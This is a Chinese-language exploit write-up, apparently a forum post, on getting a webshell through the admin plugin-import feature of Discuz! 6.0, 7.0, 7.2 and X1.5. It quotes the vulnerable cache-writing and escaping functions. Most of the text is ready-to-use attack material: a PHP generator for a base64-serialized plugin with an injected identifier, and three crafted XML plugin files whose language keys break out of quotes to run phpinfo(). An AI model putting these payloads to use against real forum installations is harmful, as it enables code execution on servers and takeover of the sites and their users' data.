一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell，文件写入必看。
/include/cache.func.php 往上翻,找到调用函数的地方.都在updatecache函数中.
如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
01 if(!$cachename || $cachename == 'plugins') {
02 $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
03 while($plugin = $db->fetch_array($query)) {
04 $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
05 $plugin['modules'] = unserialize($plugin['modules']);
06 if(is_array($plugin['modules'])) {
07 foreach($plugin['modules'] as $module) {
08 $data['modules'][$module['name']] = $module;
09 }
10 }
11 $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
12 while($var = $db->fetch_array($queryvars)) {
13 $data['vars'][$var['variable']] = $var['value'];
14 }
15 //注意
16 writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
17 }
18 }
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.
/admin/plugins.inc.php
还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
01 if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
02 if(!$newname) {
03 cpmsg('plugins_edit_name_invalid');
04 }
05 $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
06 //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
07 if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
08 cpmsg('plugins_edit_identifier_invalid');
09 }
10 $db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
11 }
12 //写入缓存文件
13 updatecache('plugins');
14 updatecache('settings');
15 cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
01elseif(submitcheck('importsubmit')) {
02
03 $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
04 $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
05 //解码后没有判定
06 if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
07 cpmsg('plugins_import_data_invalid');
08 } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
09 cpmsg('plugins_import_version_invalid');
10 }
11
12 $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
13 //判断是否重复,直接入库
14 if($db->num_rows($query)) {
15 cpmsg('plugins_import_identifier_duplicated');
16 }
17
18 $sql1 = $sql2 = $comma = '';
19 foreach($pluginarray['plugin'] as $key => $val) {
20 if($key == 'directory') {
21 //compatible for old versions
22 $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
23 }
24 $sql1 .= $comma.$key;
25 $sql2 .= $comma.'\''.$val.'\'';
26 $comma = ',';
27 }
28 $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
29 $pluginid = $db->insert_id();
30
31 foreach(array('hooks', 'vars') as $pluginconfig) {
32 if(is_array($pluginarray[$pluginconfig])) {
33 foreach($pluginarray[$pluginconfig] as $config) {
34 $sql1 = 'pluginid';
35 $sql2 = '\''.$pluginid.'\'';
36 foreach($config as $key => $val) {
37 $sql1 .= ','.$key;
38 $sql2 .= ',\''.$val.'\'';
39 }
40 $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
41 }
42 }
43 }
44
45 updatecache('plugins');
46 updatecache('settings');
47 cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
48
49 }
/forumdata/cache/plugin_shell.php
我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
01<?php
02//Discuz! cache file, DO NOT modify me!
03//Created: Mar 17, 2011, 16:56
04//Identify: 7c0b5adeadf5a806292d45c64bd0659c
05
06$_DPLUGIN['shell'] = array (
07 'pluginid' => '11',
08 'available' => '0',
09 'adminid' => '0',
10 'name' => 'Getshell',
11 'identifier' => 'shell',
12 'datatables' => '',
13 'directory' => '',
14 'copyright' => '',
15 'modules' =>
16 array (
17 ),
18 'vars' =>
19 array (
20 ),
21)?>
/forumdata/cache/plugin_a']=phpinfo();$a['a.php
最后是编码一次,给成Exp:
01<?php
02//Discuz! cache file, DO NOT modify me!
03//Created: Mar 17, 2011, 16:56
04//Identify: 7c0b5adeadf5a806292d45c64bd0659c
05
06$_DPLUGIN['a']=phpinfo();$a['a'] = array (
07 'pluginid' => '11',
08 'available' => '0',
09 'adminid' => '0',
10 'name' => 'Getshell',
11 'identifier' => 'shell',
12 'datatables' => '',
13 'directory' => '',
14 'copyright' => '',
15 'modules' =>
16 array (
17 ),
18 'vars' =>
19 array (
20 ),
21)?>
01<?php
02$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
03IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
04ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
05cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
06ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
07OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
08fQ=="));
09//print_r($a);
10$a['plugin']['name']='GetShell';
11$a['plugin']['identifier']='a\']=phpinfo();$a[\'';
12
13print(base64_encode(serialize($a)));
14?>
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"
二 Discuz! 7.2 和 Discuz! X1.5
以下以7.2为例
/admin/plugins.inc.php 先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了. 判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
我们只要控制scriptlangstr或者其它任何一个就可以了。 Key这里不通用.
7.2 X1.5 还是看下shell.lang.php的文件格式. 7.2版本没有过滤Key,所以直接用\废掉单引号.
X1.5,单引号转义后变为\',再被替换一次',还是留下了\
而$v在两个版本中过滤相同,比较通用.
X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
$v通用Exp: 7.2 Key利用 X1.5 
01 |
elseif($operation == 'import') { |
02 |
|
03 |
if(!submitcheck('importsubmit') && !isset($dir)) { |
04 |
|
05 |
/*未提交前表单神马的*/ |
06 |
|
07 |
} else { |
08 |
|
09 |
if(!isset($dir)) { |
10 |
//导入数据解码 |
11 |
$pluginarray = getimportdata('Discuz! Plugin'); |
12 |
} elseif(!isset($installtype)) { |
13 |
/*省略一部分*/ |
14 |
} |
15 |
//判定你妹啊,两遍啊两遍 |
16 |
if(!ispluginkey($pluginarray['plugin']['identifier'])) { |
17 |
cpmsg('plugins_edit_identifier_invalid', '', 'error'); |
18 |
} |
19 |
if(!ispluginkey($pluginarray['plugin']['identifier'])) { |
20 |
cpmsg('plugins_edit_identifier_invalid', '', 'error'); |
21 |
} |
22 |
if(is_array($pluginarray['hooks'])) { |
23 |
foreach($pluginarray['hooks'] as $config) { |
24 |
if(!ispluginkey($config['title'])) { |
25 |
cpmsg('plugins_import_hooks_title_invalid', '', 'error'); |
26 |
} |
27 |
} |
28 |
} |
29 |
if(is_array($pluginarray['vars'])) { |
30 |
foreach($pluginarray['vars'] as $config) { |
31 |
if(!ispluginkey($config['variable'])) { |
32 |
cpmsg('plugins_import_var_invalid', '', 'error'); |
33 |
} |
34 |
} |
35 |
} |
36 |
|
37 |
$langexists = FALSE; |
38 |
//你有张良计,我有过墙梯 |
39 |
if(!empty($pluginarray['language'])) { |
40 |
@mkdir('./forumdata/plugins/', 0777); |
41 |
$file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php'; |
42 |
if($fp = @fopen($file, 'wb')) { |
43 |
$scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : ''; |
44 |
$templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : ''; |
45 |
$installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : ''; |
46 |
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>'); |
47 |
fclose($fp); |
48 |
} |
49 |
$langexists = TRUE; |
50 |
} |
51 |
|
52 |
/*处理神马的*/ |
53 |
updatecache('plugins'); |
54 |
updatecache('settings'); |
55 |
updatemenu(); |
56 |
|
57 |
/*省略部分代码*/ |
58 |
|
59 |
} |
01 |
function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) { |
02 |
if($GLOBALS['importtype'] == 'file') { |
03 |
$data = @implode('', file($_FILES['importfile']['tmp_name'])); |
04 |
@unlink($_FILES['importfile']['tmp_name']); |
05 |
} else { |
06 |
$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt']; |
07 |
} |
08 |
include_once DISCUZ_ROOT.'./include/xml.class.php'; |
09 |
$xmldata = xml2array($data); |
10 |
if(!is_array($xmldata) || !$xmldata) { |
11 |
//向下兼容 |
12 |
if($name && !strexists($data, '# '.$name)) { |
13 |
if(!$ignoreerror) { |
14 |
cpmsg('import_data_typeinvalid', '', 'error'); |
15 |
} else { |
16 |
return array(); |
17 |
} |
18 |
} |
19 |
$data = preg_replace("/(#.*\s+)*/", '', $data); |
20 |
$data = unserialize(base64_decode($data)); |
21 |
if(!is_array($data) || !$data) { |
22 |
if(!$ignoreerror) { |
23 |
cpmsg('import_data_invalid', '', 'error'); |
24 |
} else { |
25 |
return array(); |
26 |
} |
27 |
} |
28 |
} else { |
29 |
//XML解析 |
30 |
if($name && $name != $xmldata['Title']) { |
31 |
if(!$ignoreerror) { |
32 |
cpmsg('import_data_typeinvalid', '', 'error'); |
33 |
} else { |
34 |
return array(); |
35 |
} |
36 |
} |
37 |
$data = exportarray($xmldata['Data'], 0); |
38 |
} |
39 |
if($addslashes) { |
40 |
//daddslashes在两个版本的处理导致了Exp不能通用. |
41 |
$data = daddslashes($data, 1); |
42 |
} |
43 |
return $data; |
44 |
} |
01 |
function langeval($array) { |
02 |
$return = ''; |
03 |
foreach($array as $k => $v) { |
04 |
//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号 |
05 |
$k = str_replace("'", '', $k); |
06 |
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱? |
07 |
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n"; |
08 |
} |
09 |
return "array(\n$return);\n\n"; |
10 |
} |
01 |
function daddslashes($string, $force = 0) { |
02 |
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); |
03 |
if(!MAGIC_QUOTES_GPC || $force) { |
04 |
if(is_array($string)) { |
05 |
foreach($string as $key => $val) { |
06 |
$string[$key] = daddslashes($val, $force); |
07 |
} |
08 |
} else { |
09 |
$string = addslashes($string); |
10 |
} |
11 |
} |
12 |
return $string; |
13 |
} |
01 |
function daddslashes($string, $force = 1) { |
02 |
if(is_array($string)) { |
03 |
foreach($string as $key => $val) { |
04 |
unset($string[$key]); |
05 |
//过滤了key |
06 |
$string[addslashes($key)] = daddslashes($val, $force); |
07 |
} |
08 |
} else { |
09 |
$string = addslashes($string); |
10 |
} |
11 |
return $string; |
12 |
} |
1 |
<?php |
2 |
$scriptlang['shell'] = array( |
3 |
'a' => '1', |
4 |
'b' => '2', |
5 |
); |
6 |
|
7 |
?> |
01 |
<?xml version="1.0" encoding="ISO-8859-1"?> |
02 |
<root> |
03 |
<item id="Title"><![CDATA[Discuz! Plugin]]></item> |
04 |
<item id="Version"><![CDATA[7.2]]></item> |
05 |
<item id="Time"><![CDATA[2011-03-16 15:57]]></item> |
06 |
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item> |
07 |
<item id="Data"> |
08 |
<item id="plugin"> |
09 |
<item id="available"><![CDATA[0]]></item> |
10 |
<item id="adminid"><![CDATA[0]]></item> |
11 |
<item id="name"><![CDATA[www]]></item> |
12 |
<item id="identifier"><![CDATA[shell]]></item> |
13 |
<item id="description"><![CDATA[]]></item> |
14 |
<item id="datatables"><![CDATA[]]></item> |
15 |
<item id="directory"><![CDATA[]]></item> |
16 |
<item id="copyright"><![CDATA[]]></item> |
17 |
<item id="modules"><![CDATA[a:0:{}]]></item> |
18 |
<item id="version"><![CDATA[]]></item> |
19 |
</item> |
20 |
<item id="version"><![CDATA[7.2]]></item> |
21 |
<item id="language"> |
22 |
<item id="scriptlang"> |
23 |
<item id="a"><![CDATA[b\]]></item> |
24 |
<item id=");phpinfo();?>"><![CDATA[x]]></item> |
25 |
</item> |
26 |
</item> |
27 |
</item> |
28 |
</root> |
01 |
<?xml version="1.0" encoding="ISO-8859-1"?> |
02 |
<root> |
03 |
<item id="Title"><![CDATA[Discuz! Plugin]]></item> |
04 |
<item id="Version"><![CDATA[7.2]]></item> |
05 |
<item id="Time"><![CDATA[2011-03-16 15:57]]></item> |
06 |
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item> |
07 |
<item id="Data"> |
08 |
<item id="plugin"> |
09 |
<item id="available"><![CDATA[0]]></item> |
10 |
<item id="adminid"><![CDATA[0]]></item> |
11 |
<item id="name"><![CDATA[www]]></item> |
12 |
<item id="identifier"><![CDATA[shell]]></item> |
13 |
<item id="description"><![CDATA[]]></item> |
14 |
<item id="datatables"><![CDATA[]]></item> |
15 |
<item id="directory"><![CDATA[]]></item> |
16 |
<item id="copyright"><![CDATA[]]></item> |
17 |
<item id="modules"><![CDATA[a:0:{}]]></item> |
18 |
<item id="version"><![CDATA[]]></item> |
19 |
</item> |
20 |
<item id="version"><![CDATA[7.2]]></item> |
21 |
<item id="language"> |
22 |
<item id="scriptlang"> |
23 |
<item id="a\"><![CDATA[=>1);phpinfo();?>]]></item> |
24 |
</item> |
25 |
</item> |
26 |
</item> |
27 |
</root> |
01 |
<?xml version="1.0" encoding="ISO-8859-1"?> |
02 |
<root> |
03 |
<item id="Title"><![CDATA[Discuz! Plugin]]></item> |
04 |
<item id="Version"><![CDATA[7.2]]></item> |
05 |
<item id="Time"><![CDATA[2011-03-16 15:57]]></item> |
06 |
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item> |
07 |
<item id="Data"> |
08 |
<item id="plugin"> |
09 |
<item id="available"><![CDATA[0]]></item> |
10 |
<item id="adminid"><![CDATA[0]]></item> |
11 |
<item id="name"><![CDATA[www]]></item> |
12 |
<item id="identifier"><![CDATA[shell]]></item> |
13 |
<item id="description"><![CDATA[]]></item> |
14 |
<item id="datatables"><![CDATA[]]></item> |
15 |
<item id="directory"><![CDATA[]]></item> |
16 |
<item id="copyright"><![CDATA[]]></item> |
17 |
<item id="modules"><![CDATA[a:0:{}]]></item> |
18 |
<item id="version"><![CDATA[]]></item> |
19 |
</item> |
20 |
<item id="version"><![CDATA[7.2]]></item> |
21 |
<item id="language"> |
22 |
<item id="scriptlang"> |
23 |
<item id="a'"><![CDATA[=>1);phpinfo();?>]]></item> |
24 |
</item> |
25 |
</item> |
26 |
</item> |
27 |
</root> |
如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.
http://www.t00ls.net/thread-15464-1-1.html
01 |
function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') { |
02 |
global $authkey; |
03 |
if(is_array($cachenames) && !$cachedata) { |
04 |
foreach($cachenames as $name) { |
05 |
$cachedata .= getcachearray($name, $script); |
06 |
} |
07 |
} |
08 |
|
09 |
$dir = DISCUZ_ROOT.'./forumdata/cache/'; |
10 |
if(!is_dir($dir)) { |
11 |
@mkdir($dir, 0777); |
12 |
} |
13 |
if($fp = @fopen("$dir$prefix$script.php", 'wb')) { |
14 |
fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!". |
15 |
"\n//Created: ".date("M j, Y, G:i"). |
16 |
"\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>"); |
17 |
fclose($fp); |
18 |
} else { |
19 |
exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .'); |
20 |
} |
21 |
} |
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